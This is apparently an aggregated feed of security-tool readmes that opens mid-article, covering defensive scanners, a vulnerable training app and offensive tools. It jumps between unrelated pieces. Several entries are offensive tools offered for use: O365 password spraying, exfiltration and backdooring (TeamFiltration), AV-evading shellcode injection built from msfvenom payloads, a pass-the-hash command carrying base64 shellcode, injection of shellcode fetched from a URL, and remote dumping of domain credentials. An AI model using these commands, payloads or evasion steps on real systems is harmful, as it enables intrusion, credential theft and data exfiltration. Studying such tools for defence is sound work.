DotDumper’s goal is to log and dump crucial, contextualizing, and common function calls from DotNet targeting samples. ILSpy is a DotNet disassembler and decompiler, but does not allow the execution of the file. dnSpyEx (and its predecessor dnSpy) utilise ILSpy as the disassembler and decompiler component, while adding a debugger. This allows one to manually inspect and manipulate memory. de4dot is solely used to deobfuscate DotNet binaries, improving the code’s readability for human eyes. The last tool in this comparison, pe-sieve, is meant to detect and dump malware from running processes, disregarding the used programming language. The table below provides a graphical overview of the above-mentioned tools.

Future work

DotDumper is under constant review and development, all of which is focused on two main areas of interest: bug fixing and the addition of new features. During the development, the code was tested, but due to injection of hooks into the DotNet Framework’s functions which can be subject to change, it’s very well possible that there are bugs in the code. Anyone who encounters a bug is urged to open an issue on the GitHub repository, which will then be looked at. The suggestion of new features is also possible via the GitHub repository. For those with a GitHub account, or for those who rather not publicly interact, feel free to send me a private message on my Twitter.

Needless to say, if you've used DotDumper during an analysis, or used it in a creative way, feel free to reach out in public or in private! There’s nothing like hearing about the usage of a home-made tool!

There is more in store for DotDumper, and an update will be sent out to the community once it is available!



S3Crets_Scanner - Hunting For Secrets Uploaded To Public S3 Buckets


  • S3cret Scanner tool designed to provide a complementary layer for the Amazon S3 Security Best Practices by proactively hunting secrets in public S3 buckets.
  • Can be executed as scheduled task or On-Demand

Automation workflow

The automation will perform the following actions:

  1. List the public buckets in the account (Set with ACL of Public or objects can be public)
  2. List the textual or sensitive files (i.e. .p12, .pgp and more)
  3. Download, scan (using truffleHog3) and delete the files from disk, once done evaluating, one by one.
  4. The logs will be created in logger.log file.

Prerequisites

  1. Python 3.6 or above
  2. TruffleHog3 installed in $PATH
  3. An AWS role with the following permissions:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Allow",
"Action": [
"s3:GetLifecycleConfiguration",
"s3:GetBucketTagging",
"s3:ListBucket",
"s3:GetAccelerateConfiguration",
"s3:GetBucketPolicy",
"s3:GetBucketPublicAccessBlock",
"s3:GetBucketPolicyStatus",
"s3:GetBucketAcl",
"s3:GetBucketLocation"
],
"Resource": "arn:aws:s3:::*"
},
{
"Sid": "VisualEditor1",
"Effect": "Allow",
"Action": "s3:ListAllMyBuckets",
"Resource": "*"
}
]
}
  1. If you're using a CSV file - make sure to place the file accounts.csv in the csv directory, in the following format:
Account name,Account id
prod,123456789
ci,321654987
dev,148739578

Getting started

Use pip to install the needed requirements.

# Clone the repo
git clone <repo>

# Install requirements
pip3 install -r requirements.txt

# Install trufflehog3
pip3 install trufflehog3

Usage

Argument Values Description Required
-p, --aws_profile The aws profile name for the access keys
-r, --scanner_role The aws scanner's role name
-m, --method internal the scan type
-l, --last_modified 1-365 Number of days to scan since the file was last modified; Default - 1

Usage Examples

python3 main.py -p secTeam -r secteam-inspect-s3-buckets -l 1

Demo


Contributing

Pull requests and forks are welcome. For major changes, please open an issue first to discuss what you would like to change.



Octosuite - Advanced Github OSINT Framework


A framework fro gathering osint on GitHub users, repositories and organizations


Wiki

Refer to the Wiki for installation instructions, in addition to all other documentation.

Features

  • Fetches an organization's profile information
  • Fetches an oganization's events
  • Returns an organization's repositories
  • Returns an organization's public members
  • Fetches a repository's information
  • Returns a repository's contributors
  • Returns a repository's languages
  • Fetches a repository's stargazers
  • Fetches a repository's forks
  • Fetches a repository's releases
  • Returns a list of files in a specified path of a repository
  • Fetches a user's profile information
  • Returns a user's gists
  • Returns organizations that a user owns/belongs to
  • Fetches a user's events
  • Fetches a list of users followed by the target
  • Fetches a user's followers
  • Checks if user A follows user B
  • Checks if user is a public member of an organizations
  • Returns a user's subscriptions
  • Gets a user's subscriptions
  • Gets a user's events
  • Searches users
  • Searches repositories
  • Searches topics
  • Searches issues
  • Searches commits
  • Automatically logs network activity (.logs folder)
  • User can view, read and delete logs
  • ...And more

Note

Octosuite automatically logs network and user activity of each session, the logs are saved by date and time in the .logs folder



Octopii - An AI-powered Personal Identifiable Information (PII) Scanner


Octopii is an open-source AI-powered Personal Identifiable Information (PII) scanner that can look for image assets such as Government IDs, passports, photos and signatures in a directory.


Working

Octopii uses Tesseract's Optical Character Recognition (OCR) and Keras' Convolutional Neural Networks (CNN) models to detect various forms of personal identifiable information that may be leaked on a publicly facing location. This is done in the following steps:

1. Importing and cleaning image(s)

The image is imported via OpenCV and Python Imaging Library (PIL) and is cleaned, deskewed and rotated for scanning.

2. Performing image classification and Optical Character Recognition (OCR)

A directory is looped over and searched for images. These images are scanned for unique features via the image classifier (done by comparing it to a trained model), along with OCR for finding substrings within the image. This may have one of the following outcomes:

  • Best case (score >=90): The image is sent into the image classifier algorithm to be scanned for features such as an ISO/IEC 7810 card specification, colors, location of text, photos, holograms etc. If it is successfully classified as a type of PII, OCR is performed on it looking for particular words and strings as a final check. When both of these are confirmed, the result from Octopii is extremely reliable.

  • Average case (score >=50): The image is partially/incorrectly identified by the image classifier algorithm, but an OCR check finds contradicting substrings and reclassifies it.

  • Worst case (score >=0): The image is only identified by the image classifier algorithm but an OCR scan returns no results.

  • Incorrect classification: False positives due to a very small model or OCR list may incorrectly classify PIIs, giving inaccurate results.

As a final verification method, images are scanned for certain strings to verify the accuracy of the model.

The accuracy of the scan can determined via the confidence scores in output. If all the mentioned conditions are met, a score of 100.0 is returned.

To train the model, data can also be fed into the model_generator.py script, and the newly improved h5 file can be used.

Usage

  1. Install all dependencies via pip install -r requirements.txt.
  2. Install the Tesseract helper locally via sudo apt install tesseract-ocr -y (for Ubuntu/Debian).
  3. To run Octopii, type python3 octopii.py <location name>, for example python3 octopii.py pii_list/
python3 octopii.py <location to scan> <additional flags>

Octopii currently supports local scanning and scanning S3 directories and open directory listings via their URLs.

Example

Contributing

Open-source projects like these thrive on community support. Since Octopii relies heavily on machine learning and optical character recognition, contributions are much appreciated. Here's how to contribute:

1. Fork

Fork the official repository at https://github.com/redhuntlabs/octopii

2. Understand

There are 3 files in the models/ directory. - The keras_models.h5 file is the Keras h5 model that can be obtained from Google's Teachable Machine or via Keras in Python. - The labels.txt file contains the list of labels corresponding to the index that the model returns. - The ocr_list.json file consists of keywords to search for during an OCR scan, as well as other miscellaneous information such as country of origin, regular expressions etc.

Generating models via Teachable Machine

Since our current dataset is quite small, we could benefit from a large Keras model of international PII for this project. If you do not have expertise in Keras, Google provides an extremely easy to use model generator called the Teachable Machine. To use it:

  • Visit https://teachablemachine.withgoogle.com/train and select 'Image Project' → 'Standard Image Model'.
  • A few classes are visible. Rename the class to an asset type ypu'd like to upload, such as "German Passport" or "California Driver License".
  • Add images by clicking the 'Upload' button and upload some image assets. Note: images have to be square

Tip: segregate your image assets into folders with the folder name being the same as the class name. You can then drag and drop a folder into the upload dialog.

  • Click '+ Add a class' at the bottom of the page to add more classes with data and repeat. You can make the classes more specific, such as "Goa Driver License Old Format".

Note: Only upload the same as the class name, for example, the German Passport class must have German Passport pictures. Uploading the wrong data to the wrong class will confuse the machine learning algorithms.

  • Verify the classes and images one last time. Once you're ready, click on the 'Train Model' button. You can increase the epoch size (such as 5000) to improve model accuracy.
  • To test, you can test the model by clicking the Input dropdown and selecting 'File', then uploading a sample image.
  • Once you're ready, click the 'Export Model' button. In the dialog that pops up, select the 'Tensorflow' tab (not Tensorflow.js) and select the 'Keras' radio button, then click 'Download my model' to export the newly generated model. Extract the downloaded zip file and paste the keras_model.h5 file and labels.txt file into the models/ directory in Octopii.

The images used for the model above are not visible to us since they're in a proprietary format. You can use both dummy and actual PII. Make sure they are square-ish in image size.

Updating OCR list

Once you generate models using Teachable Machine, you can improve Octopii's accuracy via OCR. To do this:

  • Open the existing ocr_list.json file. Create a JSONObject with the key having the same name as the asset class. NOTE: The key name must be exactly the same as the asset class name from Teachable Machine.
  • For the keywords, use as many unique terms from your asset as possible, such as "Income Tax Department". Store them in a JSONArray.
  • (Advanced) you can also add regexes for things like ID numbers and MRZ on passports if they are unique enough. Use https://regex101.com to test your regexes before adding them.
  • Save/overwrite the existing ocr_list.json file.

3. Edit

You can replace each file you modify in the models/ directory after you create or edit them via the above methods.

4. Pull request

Submit a pull request from your forked repo and we'll pick it up and replace our current model with it if the changes are large enough.

Note: Please take the following steps to ensure quality

  • Make sure the model returns extremely accurate results by testing it locally first.
  • Use proper text casing for label names in both the Keras model and ocr_list.json.
  • Make sure all JSON is valid with appropriate character escapes with no duplicate keys, regexes or keywords.
  • For country names, please use the ISO 3166-1 alpha-2 code of the country.

Credits

License

MIT License

(c) Copyright 2022 RedHunt Labs Private Limited

Author: Owais Shaikh



TeamFiltration - Cross-Platform Framework For Enumerating, Spraying, Exfiltrating, And Backdooring O365 AAD Accounts


TeamFiltration is a cross-platform framework for enumerating, spraying, exfiltrating, and backdooring O365 AAD accounts. See the TeamFiltration wiki page for an introduction into how TeamFiltration works and the Quick Start Guide for how to get up and running!

This tool has been used internally since January 2021 and was publicly released in my talk "Taking a Dumb In The Cloud" during DefCON30.


Download

You can download the latest precompiled release for Linux, Windows and MacOSX X64

The releases are precompiled into a single application-dependent binary. The size go up, but you do not need DotNetCore or any other dependencies to run them.

Usage


╓╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╖
╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬
╬╬╬╬┤ ╟╬╬╜╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬
╬╬╬╬╡ │ ╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬
╬╬╬╬╡ ││ ╙╬╬╜╘ └╙╜╬╬╬╬╬╬
╬╬╬╬╡ ╓╥╥╬╬╬╬╬╬╥╥╖ ││ │ ╬╬╬╬╬
╬╬╬╬╡ ╓╬╫╬╜╜┘ ╙╜╜╬╫╬┐ ││ ││ └╬╬╬╬
╬╬╬╬┤ ╬╬╜╙╩╬╖╓ ╙╬╬╬ ││ ││ ╬╬╬╬
╬╬╬╬┤ ╬╜ ╙╬╫╖╖ ╓ ╙╬╖ ││ ├││ ╬╬╬╬
╬╬╬╬┤ ╬╬ ╓╖ ╙╬╬╬╬╬╬╦ ╬╬ │┌ ╓╬┤││ ╓╬╬╬╬
╬╬╬╬┤ ╓╬┤ ╬╬╬ ╬╬╬╬╬╬╬╬╜╜╜╬╬╖ ╟╬╬╬╬╬╬╬╬╬╕ ┌╬╬╬╬╬
╬╬╬╬┤ ╬╬┤ ╙╩┘ ╙╬╬╬╬╬╩ ╟╬╬ ╙╜╜╜╜╜╜╜╜╜╬╬╖╖╖╦╬╬╬╬╬╬╬
╬╬╬╬┤ ╬╬┤ ╟╬╬ ││ ╬╬╬╬╬╬╬╬╬╬╬╬
╬╬╬╬┤ ╬╬ ╦╖ ╗╖ ╬╬ ││ │ ╬╬╬╬
╬╬╬╬┤ └╬┐ ╙╬╖╖ ╓╬╬╜ ╓╬┘ ││ │ ╬╬╬╬
╬╬╬╬┤ └╬╖ ╙╩╨╬╬╬╩╨╜╜ ╒╬╬ ││ │ ╬╬╬╬
╬╬╬╬┤ ╙╬╬╬╖ ┌╖╫╬╜┘ ││ │ ╬╬╬╬
╬╬╬╬┤ ╙╩╬╬╬╥╥╥╥╥╥╫╬╬╜╜ ││ │ ╬╬╬╬
╬╬╬╬┤ ╙╙╜╜╜╛ ││ │ ╬╬╬╬
╬╬╬╬┤ ││ │ ╓╖╬╬╬╬╬
╬╬╬╬┤ ││ ╬╦╦╬╬╬╬╬╬╬╬╬
╬╬╬╬┤ ││ ╓╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬
╬╬╬╬┤ ╬╬╬╖╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬
╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬
└╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╜
╜╜╜╜╜╜╜╜╜╜╜╜╜╜╜╜╜╜╜╜╜╜╜╜╜╜╜╜╜╜╜╜╜╜╜╜╜╜╜╜╜╜╜╜╜╜╜╜╜╜╜╜

[�] TeamFiltration V0.3.3.7 PUBLIC, created by @Flangvik @TrustedSec
Usage:

--outpath Output path to store database and exfiltrated information (Needed for all modules)

--config Local path to your TeamFiltration.json configuration file, if not provided will load from the current path

--exfil Load the exfiltration module

--username Override to target a given username that does not exist in the database
--password Override to target a given password that does not exist in the database
--cookie-dump Override to target a given account using it's refresk-cookie-collection

--all Exfiltrate information from ALL SSO resources (Graph, OWA, SharePoint, OneDrive, Teams)
--aad Exfiltrate information from Graph API (domain users and groups)
--teams Exfiltrate information from Teams API (files, chatlogs, attachments, contactlist)
--onedrive Exfiltrate information from OneDrive/SharePoint API (accessible SharePoint files and the users entire OneDrive directory)
--owa Exfiltrate information from the Outlook REST API ( The last 2k emails, both sent and received)
--owa-limit Set the max amount of emails to exfiltrate, default is 2k.
--jwt-tokens Exfiltrate JSON formated JTW-tokens for SSO resources (MsGraph,AdGraph, Outlook, SharePoint, OneDrive, Teams)

--spray Load the spraying module

--aad-sso Use SecureWorks recent Azure Active Directory password brute-forcing vuln for spraying
--us-cloud When spraying companies attached to US Tenants (https://login.microsoftonline.us/)
--time-window Defines a time windows where spraying should accour, in the military time format <12:00-19:00>
--passwords Path to a list of passwords, common weak-passwords will be generated if not supplied
--seasons-only Password generated for spraying will only be based on seasons
--months-only Password generated for spraying will only be based on months
--common-only Spray with the top 20 most common passwords
--combo Path to a combolist of username:password
--exclude Path to a list of emails to exclude from spraying

--sleep-min Minimum minutes to sleep between each full rotation of spraying default=60
--sleep-max Maximum minutes to sleep between each full rotation of spraying default=100
--delay Delay in seconds between each individual authentication attempt. default=0
--push Get Pushover notifications when valid credentials are found (requires pushover keys in config)
--push-lo cked Get Pushover notifications when an sprayed account gets locked (requires pushover keys in config)
--force Force the spraying to proceed even if there is less the <sleep> time since the last attempt

--enum Load the enumeration module

--domain Domain to perfom enumeration against, names pulled from statistically-likely-usernames if not provided with --usernames
--usernames Path to a list of usernames to enumerate (emails)
--dehashed Use the dehashed submodule in order to enumerate emails from a basedomain
--validate-msol Validate that the given o365 accounts exists using the public GetCredentialType method (Very RateLimited - Slow 20 e/s)
--validate-teams Validate that the given o365 accounts exists using the Teams API method (Recommended - Super Fast 300 e/s)
--validate-login Validate that the given o365 accounts by attemping to login (Noisy - triggers logins - Fast 100 e/s)

--backdoor Loads the interactive backdoor module

--database Loads the interactive database browser module

--debug Add burp as a proxy on 127.0.0.1:8080

Examples:

--outpath C:\Clients\2021\FooBar\TFOutput --config myCustomConfig.json --spray --sleep-min 120 --sleep-max 200 --push
--outpath C:\Clients\2021\FooBar\TFOutput --config myCustomConfig.json --spray --push-locked --months-only --exclude C:\Clients\2021\FooBar\Exclude_Emails.txt
--outpath C:\Clients\2021\FooBar\TFOutput --config myCustomConfig.json --spray --passwords C:\Clients\2021\FooBar\Generic\Passwords.txt --time-window 13:00-22:00
--outpath C:\Clients\2021\FooBar\TFOutput --config myCustomConfig.json --exfil --all
--outpath C:\Clients\2021\FooBar\TFOutput --config myCustomConfig.json --exfil --aad
--outpath C:\Clients\2021\FooBar\TFOutput --config myCustomConfig.json --exfil --teams --owa --owa-limit 5000
--outpath C:\Clients\2021\FooBar\TFOutput --config myCustomConfig.json --debug --exfil --onedrive
--outpath C:\Clients\2021\FooBar\TFOutput --config myCustomConfig.json --enum --validate-teams
--outpath C:\Clients\2021\FooBar\TFOutput --config myCustomConfig.json --enum --validate-msol --usernames C:\Clients\2021\FooBar\OSINT\Usernames.txt
--outpath C:\Clients\2021\FooBar\TFOutput --config myCustomConfig.json --backdoor
--outpath C:\Clients\2021\FooBar\TFOutput --config myCustomConfig.json --database

Credits



FUD-UUID-Shellcode - Another shellcode injection technique using C++ that attempts to bypass Windows Defender using XOR encryption sorcery and UUID strings madness


Introduction

Another shellcode injection technique using C++ that attempts to bypass Windows Defender using XOR encryption sorcery and UUID strings madness :).


How it works

Shellcode generation

  • Firstly, generate a payload in binary format( using either CobaltStrike or msfvenom ) for instance, in msfvenom, you can do it like so( the payload I'm using is for illustration purposes, you can use whatever payload you want ):

    msfvenom -p windows/messagebox  -f raw -o shellcode.bin
  • Then convert the shellcode( in binary/raw format ) into a UUID string format using the Python3 script, bin_to_uuid.py:

    ./bin_to_uuid.py -p shellcode.bin > uuid.txt
  • xor encrypt the UUID strings in the uuid.txt using the Python3 script, xor_encryptor.py.

    ./xor_encryptor.py uuid.txt > xor_crypted_out.txt
  • Copy the C-style array in the file, xor_crypted_out.txt, and paste it in the C++ file as an array of unsigned char i.e. unsigned char payload[]{your_output_from_xor_crypted_out.txt}

Execution

This shellcode injection technique comprises the following subsequent steps:

  • First things first, it allocates virtual memory for payload execution and residence via VirtualAlloc
  • It xor decrypts the payload using the xor key value
  • Uses UuidFromStringA to convert UUID strings into their binary representation and store them in the previously allocated memory. This is used to avoid the usage of suspicious APIs like WriteProcessMemory or memcpy.
  • Use EnumChildWindows to execute the payload previously loaded into memory( in step 1 )

What makes it unique?

  • It doesn't use standard functions like memcpy or WriteProcessMemory which are known to raise alarms to AVs/EDRs, this program uses the Windows API function called UuidFromStringA which can be used to decode data as well as write it to memory( Isn't that great folks? And please don't say "NO!" :) ).
  • It uses the function call obfuscation trick to call the Windows API functions
  • Lastly, because it looks unique :) ( Isn't it? :) )

Important

  • You have to change the xor key(row 86) to what you wish. This can be done in the ./xor_encryptor.py python3 script by changing the KEY variable.
  • You have to change the default executable filename value(row 90) to your filename.
  • The command for compiling is provided in the C++ file( around the top ). NB: mingw was used but you can use whichever compiler you prefer. :)

Compile

make

Proof-of-Concept( PoC )

Static Analysis

AV Scan results

The binary was scanned using antiscan.me on 01/08/2022.

Credits

https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode-execution-method/



Erlik 2 - Vulnerable-Flask-App


Erlik 2 - Vulnerable-Flask-App

Tested - Kali 2022.1

Description

It is a vulnerable Flask Web App. It is a lab environment created for people who want to improve themselves in the field of web penetration testing.


Features

It contains the following vulnerabilities.

  • HTML Injection
  • XSS
  • SSTI
  • SQL Injection
  • Information Disclosure
  • Command Injection
  • Brute Force
  • Deserialization
  • Broken Authentication
  • DOS
  • File Upload

Installation

git clone https://github.com/anil-yelken/Vulnerable-Flask-App

cd Vulnerable-Flask-App

sudo pip3 install -r requirements.txt

Usage

python3 vulnerable-flask-app.py

Contact

https://twitter.com/anilyelken06

https://medium.com/@anilyelken



Utkuici - Nessus Automation


Today, with the spread of information technology systems, investments in the field of cyber security have increased to a great extent. Vulnerability management, penetration tests and various analyzes are carried out to accurately determine how much our institutions can be affected by cyber threats. With Tenable Nessus, the industry leader in vulnerability management tools, an IP address that has just joined the corporate network, a newly opened port, exploitable vulnerabilities can be determined, and a python application that can work integrated with Tenable Nessus has been developed to automatically identify these processes.


Features

  • Finding New IP Address
  • Finding New Port
  • Finding New Exploitable Vulnerability

Installation

git clone https://github.com/anil-yelken/Nessus-Automation cd Nessus-Automation sudo pip3 install requirements.txt

Usage

The SIEM IP address in the codes should be changed.

In order to detect a new IP address exactly, it was checked whether the phrase "Host Discovery" was used in the Nessus scan name, and the live IP addresses were recorded in the database with a timestamp, and the difference IP address was sent to SIEM. The contents of the hosts table were as follows:

Usage: python finding-new-ip-nessus.py

By checking the port scans made by Nessus, the port-IP-time stamp information is recorded in the database, it detects a newly opened service over the database and transmits the data to SIEM in the form of "New Port:" port-IP-time stamp. The result observed by SIEM is as follows:

Usage: python finding-new-port-nessus.py

In the findings of vulnerability scans made in institutions and organizations, primarily exploitable vulnerabilities should be closed. At the same time, it records the vulnerabilities in the database that can be exploited with metasploit in the institutions and transmits this information to SIEM when it finds a different exploitable vulnerability on the systems. Exploitable vulnerabilities observed by SIEM:

Usage: python finding-exploitable-service-nessus.py

Contact

https://twitter.com/anilyelken06

https://medium.com/@anilyelken



SharpNamedPipePTH - Pass The Hash To A Named Pipe For Token Impersonation


This project is a C# tool to use Pass-the-Hash for authentication on a local Named Pipe for user Impersonation. You need a local administrator or SEImpersonate rights to use this. There is a blog post for explanation:

https://s3cur3th1ssh1t.github.io/Named-Pipe-PTH/

It is heavily based on the code from the project Sharp-SMBExec.

I faced certain Offensive Security project situations in the past, where I already had the NTLM-Hash of a low privileged user account and needed a shell for that user on the current compromised system - but that was not possible with the current public tools. Imagine two more facts for a situation like that - the NTLM Hash could not be cracked and there is no process of the victim user to execute shellcode in it or to migrate into that process. This may sound like an absurd edge-case for some of you. I still experienced that multiple times. Not only in one engagement I spend a lot of time searching for the right tool/technique in that specific situation.

My personal goals for a tool/technique were:

  • Fully featured shell or C2-connection as the victim user-account
  • It must to able to also Impersonate low privileged accounts - depending on engagement goals it might be needed to access a system with a specific user such as the CEO, HR-accounts, SAP-administrators or others
  • The tool can be used as C2-module

The impersonated user unfortunately has no network authentication allowed, as the new process is using an Impersonation Token which is restricted. So you can only use this technique for local actions with another user.

There are two ways to use SharpNamedPipePTH. Either you can execute a binary (with or without arguments):

SharpNamedPipePTH.exe username:testing hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 binary:C:\windows\system32\cmd.exe

SharpNamedPipePTH.exe username:testing domain:localhost hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 binary:"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" arguments:"-nop -w 1 -sta -enc bgBvAHQAZQBwAGEAZAAuAGUAeABlAAoA"

Or you can execute shellcode as the other user:

SharpNamedPipePTH.exe username:testing domain:localhost hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 shellcode:/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu+AdKgpBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY21kLmV4ZQA=

Which is msfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=threadmsfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=thread | base64 -w0.

I'm not happy with the shellcode execution yet, as it's currently spawning notepad as the impersonated user and injects shellcode into that new process via D/Invoke CreateRemoteThread Syscall. I'm still looking for possibility to spawn a process in the background or execute shellcode without having a process of the target user for memory allocation.



SharpImpersonation - A User Impersonation Tool - Via Token Or Shellcode Injection


This was a learning by doing project from my side. Well known techniques are used to built just another impersonation tool with some improvements in comparison to other public tools. The code base was taken from:

A blog post for the intruduction can be found here:


List user processes

PS > PS C:\temp> SharpImpersonation.exe list


List only elevated processes

PS > PS C:\temp> SharpImpersonation.exe list elevated

Impersonate the first process of the target user to start a new binary

PS > PS C:\temp> SharpImpersonation.exe user:<user> binary:<binary-Path>


Inject base64 encoded shellcode into the first process of the target user

PS > PS C:\temp> SharpImpersonation.exe user:<user> shellcode:<base64shellcode>


Inject shellcode loaded from a webserver into the first process of the target user

PS > PS C:\temp> SharpImpersonation.exe user:<user> shellcode:<URL>


Impersonate the target user via ImpersonateLoggedOnuser for the current session

PS > PS C:\temp> SharpImpersonation.exe user:<user> technique:ImpersonateLoggedOnuser


Pinecone - A WLAN Red Team Framework


Pinecone is a WLAN networks auditing tool, suitable for red team usage. It is extensible via modules, and it is designed to be run in Debian-based operating systems. Pinecone is specially oriented to be used with a Raspberry Pi, as a portable wireless auditing box.

This tool is designed for educational and research purposes only. Only use it with explicit permission.


Installation

For running Pinecone, you need a Debian-based operating system (it has been tested on Raspbian, Raspberry Pi Desktop and Kali Linux). Pinecone has the following requirements:

  • Python 3.5+. Your distribution probably comes with Python3 already installed, if not it can be installed using apt-get install python3.
  • dnsmasq (tested with version 2.76). Can be installed using apt-get install dnsmasq.
  • hostapd-wpe (tested with version 2.6). Can be installed using apt-get install hostapd-wpe. If your distribution repository does not have a hostapd-wpe package, you can either try to install it using a Kali Linux repository pre-compiled package, or compile it from its source code.

After installing the necessary packages, you can install the Python packages requirements for Pinecone using pip3 install -r requirements.txt in the project root folder.

Usage

For starting Pinecone, execute python3 pinecone.py from within the project root folder:

root@kali:~/pinecone# python pinecone.py 
[i] Database file: ~/pinecone/db/database.sqlite
pinecone >

Pinecone is controlled via a Metasploit-like command-line interface. You can type help to get the list of available commands, or help 'command' to get more information about a specific command:

pinecone > help

Documented commands (type help <topic>):
========================================
alias help load pyscript set shortcuts use
edit history py quit shell unalias

Undocumented commands:
======================
back run stop

pinecone > help use
Usage: use module [-h]

Interact with the specified module.

positional arguments:
module module ID

optional arguments:
-h, --help show this help message and exit

Use the command use 'moduleID' to activate a Pinecone module. You can use Tab auto-completion to see the list of current loaded modules:

pinecone > use 
attack/deauth daemon/hostapd-wpe report/db2json scripts/infrastructure/ap
daemon/dnsmasq discovery/recon scripts/attack/wpa_handshake
pinecone > use discovery/recon
pcn module(discovery/recon) >

Every module has options, that can be seen typing help run or run --help when a module is activated. Most modules have default values for their options (check them before running):

pcn module(discovery/recon) > help run
usage: run [-h] [-i INTERFACE]

optional arguments:
-h, --help show this help message and exit
-i INTERFACE, --iface INTERFACE
monitor mode capable WLAN interface (default: wlan0)

When a module is activated, you can use the run [options...] command to start its functionality. The modules provide feedback of their execution state:

pcn script(attack/wpa_handshake) > run -s TEST_SSID
[i] Sending 64 deauth frames to all clients from AP 00:11:22:33:44:55 on channel 1...
................................................................
Sent 64 packets.
[i] Monitoring for 10 secs on channel 1 WPA handshakes between all clients and AP 00:11:22:33:44:55...

If the module runs in background (for example, scripts/infrastructure/ap), you can stop it using the stop command when the module is running:

When you are done using a module, you can deactivate it by using the back command. You can also activate another module issuing the use command again.

Shell commands may be executed with the command shell or the ! shortcut:

pinecone > !ls
LICENSE modules module_template.py pinecone pinecone.py README.md requirements.txt TODO.md

Currently, Pinecone reconnaissance SQLite database is stored in the db/ directory inside the project root folder. All the temporary files that Pinecone needs to use are stored in the tmp/ directory also under the project root folder.



GraphCrawler - GraphQL Automated Security Testing Toolkit


Graph Crawler is the most powerful automated testing toolkit for any GraphQL endpoint.

NEW: Can search for endpoints for you using Escape Technology's powerful Graphinder tool. Just point it towards a domain and add the '-e' option and Graphinder will do subdomain enumeration + search popular directories for GraphQL endpoints. After all this GraphCrawler will take over and work through each find.

It will run through and check if mutation is enabled, check for any sensitive queries available, such as users and files, and it will also test any easy queries it find to see if authentication is required.

If introspection is not enabled on the endpoint it will check if it is an Apollo Server and then can run Clairvoyance to brute force and grab the suggestions to try to build the schema ourselves. (See the Clairvoyance project for greater details on this). It will then score the findings 1-10 with 10 being the most critical.

If you want to dig deeper into the schema you can also use graphql-path-enum to look for paths to certain types, like user IDs, emails, etc.

I hope this saves you as much time as it has for me


Usage

python graphCrawler.py -u https://test.com/graphql/api -o <fileName> -a "<headers>"


██████╗ ██████╗ █████╗ ██████╗ ██╗ ██╗ ██████╗██████╗ █████╗ ██╗ ██╗██╗ ███████╗██████╗
██╔════╝ ██╔══██╗██╔══██╗██╔══██╗██║ ██║██╔════╝██╔══██╗██╔══██╗██║ ██║██║ ██╔════╝██╔══██╗
██║ ███╗██████╔╝███████║██████╔╝███████║██║ ██████╔╝███████║██║ █╗ ██║██║ █████╗ ██████╔╝
██║ ██║██╔══██╗██╔══██║██╔═══╝ ██╔══██║██║ ██╔══██╗██╔══██║██║███╗██║██║ ██╔══╝ ██╔══██╗
╚██████╔╝██║ ██║██║ ██║██║ ██║ ██║╚██████╗██║ ██║██║ ██║╚███╔███╔╝███████╗███████╗██║ ██║
╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚══╝╚══╝ ╚══════╝╚══════╝╚═╝ ╚═╝

The output option is not required and by default it will output to schema.json

Example output:

Requirements

  • Python3
  • Docker
  • Install all Python dependencies with pip

Wordlist from google-10000-english

TODO

  • Add option for "full report" following the endpoint search where it will run clairvoyance and all other aspects of the toolkit on the endpoints found
  • Default to "simple scan" to just find endpoints when this feature is added
  • Way Future: help craft queries based of the shema provided


Masky - Python Library With CLI Allowing To Remotely Dump Domain User Credentials Via An ADCS Without Dumping The LSASS Process Memory


Masky is a python library providing an alternative way to remotely dump domain users' credentials thanks to an ADCS. A command line tool has been built on top of this library in order to easily gather PFX, NT hashes and TGT on a larger scope.

This tool does not exploit any new vulnerability and does not work by dumping the LSASS process memory. Indeed, it only takes advantage of legitimate Windows and Active Directory features (token impersonation, certificate authentication via kerberos & NT hashes retrieval via PKINIT). A blog post was published to detail the implemented technics and how Masky works.

Masky source code is largely based on the amazing Certify and Certipy tools. I really thanks their authors for the researches regarding offensive exploitation technics against ADCS (see. Acknowledgments section).


Installation

Masky python3 library and its associated CLI can be simply installed via the public PyPi repository as following:

pip install masky

The Masky agent executable is already included within the PyPi package.

Moreover, if you need to modify the agent, the C# code can be recompiled via a Visual Studio project located in agent/Masky.sln. It would requires .NET Framework 4 to be built.

Usage

